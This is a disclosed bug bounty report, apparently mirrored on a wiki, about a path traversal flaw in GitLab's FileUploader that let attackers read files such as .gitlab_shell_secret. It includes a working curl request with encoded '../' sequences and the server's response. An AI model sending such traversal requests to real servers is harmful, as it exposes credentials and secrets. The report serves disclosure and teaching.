Path traversal in FileUploader causes arbitrary file read
A path traversal flaw in GitLab's FileUploader allowed an attacker to read arbitrary files accessible to the git user. By sending a crafted request with encoded directory traversal sequences, an attacker could retrieve sensitive files such as the .gitlab_shell_secret.
GitLab
Originally disclosed on GitLab
- Fixed in 4 days
- Disclosed after 4 days
HackerOne report #807681 by nyangawa on 2020-02-29, assigned to @estrike:
Summary
A path traversal issue in FileUploader can allow an attacker to read any file readable to git user in the victim filesystem.
Steps to reproduce
Run the following command and you will get the .gitlab_shell_secret of GitLab.com
$ curl https://gitlab.com/[REDACTED]nyangawa-p1/uploads/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F/.gitlab_shell_secret -i
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 29 Feb 2020 13:05:40 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 129
Accept-Ranges: bytes
Cache-Control: max-age=0, private, must-revalidate
Content-Disposition: attachment; filename=".gitlab_shell_secret"; filename*=UTF-8''.gitlab_shell_secret
Content-Transfer-Encoding: binary
Last-Modified: Mon, 11 Feb 2019 10:32:36 GMT
Pragma:
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: domain=.gitlab.com; path=/; expires=Wed, 29 Feb 2040 13:05:40 -0000; secure; HttpOnly
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: UosGaumMFxa
X-Runtime: 0.186046
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
GitLab-LB: fe-13-lb-gprd
GitLab-SV: web-26-sv-gprd
REDACTED
Examples
As stated above
Results of GitLab environment info
I tested this on latest GitLab docker image 12.8.1-ee and GitLab.com
Impact
The path traversal issue could cause serious data leakage to most self-hosted GitLab instances and GitLab.com
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The path traversal issue could cause serious data leakage to most self-hosted GitLab instances and GitLab.com.
What the attacker needed
Access to a GitLab instance with FileUploader; ability to send crafted HTTP requests
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Path traversal is when a program lets you use '..' in a file path to escape the intended folder and read other files. Here, the upload feature did not properly block these sequences, so an attacker could ask the server for a secret file outside the uploads directory. This could expose sensitive configuration data.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.